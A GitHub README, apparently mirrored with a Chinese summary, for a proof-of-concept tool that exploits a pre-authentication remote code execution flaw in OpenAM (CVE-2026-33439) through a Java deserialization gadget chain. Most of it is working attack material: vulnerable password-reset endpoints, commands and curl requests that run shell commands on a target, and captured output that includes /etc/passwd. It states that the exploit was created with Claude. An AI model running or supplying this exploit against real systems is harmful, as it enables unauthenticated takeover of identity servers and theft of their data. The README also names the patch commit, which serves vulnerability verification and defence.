Ibonok/CVE-2026-33439-PoC
GitHub: Ibonok/CVE-2026-33439-PoC
针对 OpenAM 认证前 RCE 漏洞(CVE-2026-33439)的 PoC 工具,利用 Java 反序列化链在 HTTP 响应中直接回显命令执行结果,兼容 Java 21+ 环境。
Stars: 0 | Forks: 0
# CVE-2026-33439 — OpenAM 认证前 RCE (回显模式)
命令输出直接在 HTTP 响应中返回 — 无需 DNS 外带或 OOB。
使用 `com.iplanet.jato.RequestManager.getRequestContext()` 在反序列化期间访问活动的 JATO ThreadLocal 请求/响应。适用于 Java 21+ 环境,在此环境下经典的 Tomcat 回显技术(Thread.target / ThreadGroup.threads 遍历)会失效。
## 前置条件
- JDK 11+(运行时需要 `javac` 进行 translet 编译)
- 目标 OpenAM 的 classpath 中包含 `click-nodeps-2.3.0.jar` 和 `xalan-2.7.x.jar`
## 已确认存在漏洞的端点
| 端点 | 回显输出 |
|----------|-------------|
| `/sso/ui/PWResetUserValidation` | HTTP 200,响应体中包含命令输出 |
| `/sso/ui/PWResetQuestion` | HTTP 200,响应体中包含命令输出 |
| `/sso/ui/PWResetSuccess` | HTTP 200,响应体中包含命令输出 |
已测试但无回显输出(反序列化仍会触发):
- `/sso/ui/PWResetInvalidURL` — 返回错误页面
- `/sso/ui/PWResetUncaughtException` — 返回错误页面
## 构建
```
./build.sh
```
## 使用方法
JAR 会自动添加 `--add-opens` JVM 标志 — 无需手动指定。
```
# 一体化:生成 payload + 发送 + 显示输出(通过 Burp 代理)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# 不使用 Burp 代理
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# 生成可重用 payload(命令来自请求时的 'cmd' 头)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
```
## 已确认的执行结果 (2026-04-21)
```
$ java -jar CVE-2026-33439-Echo.jar send https:///sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https:///sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
```
## 工作原理
1. 生成一个 `PriorityQueue` 反序列化 payload(Click1 + Xalan TemplatesImpl gadget 链)
2. translet 字节码调用 `RequestManager.getRequestContext()` 以获取活动的 JATO 请求/响应
3. 读取 `cmd` HTTP 头,执行 `sh -c `,并将 stdout+stderr 写入 `response.getOutputStream()`
4. Payload 编码为 OpenAM 格式的 Base64(`\x00` 前缀 + URL 安全的 Base64,无填充)
5. 发送至 `/sso/ui/PWResetUserValidation?jato.clientSession=`(无需认证)
## 目录结构
```
CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # Exploit JAR
build.sh # Build script
MANIFEST.MF # JAR manifest
README.md # This file
lib/ # Dependencies (must stay next to JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Source code
```
## 修复
在 OpenAM 提交 `014007c63cacc834cc795a89fac0e611aebc4a32` 中已修补 — 在 `SessionEncodeURL.readSessionID()` 中为 `ObjectInputStream` 添加了类过滤器。
## 其他信息:
该 PoC 使用 Claude 创建;提示词为分析文章 ( ) 和 Git 提交记录 ( )
标签:CISA项目, CVE-2026-33439, Echo回显, GHAS, JATO框架, Java反序列化, Java安全, JS文件枚举, Maven, OpenAM, SSO单点登录, URL发现, Web安全, Xalan, 命令执行, 域名枚举, 安全检测, 漏洞PoC, 漏洞验证, 编程工具, 网络安全, 蓝队分析, 远程代码执行, 隐私保护, 预认证RCE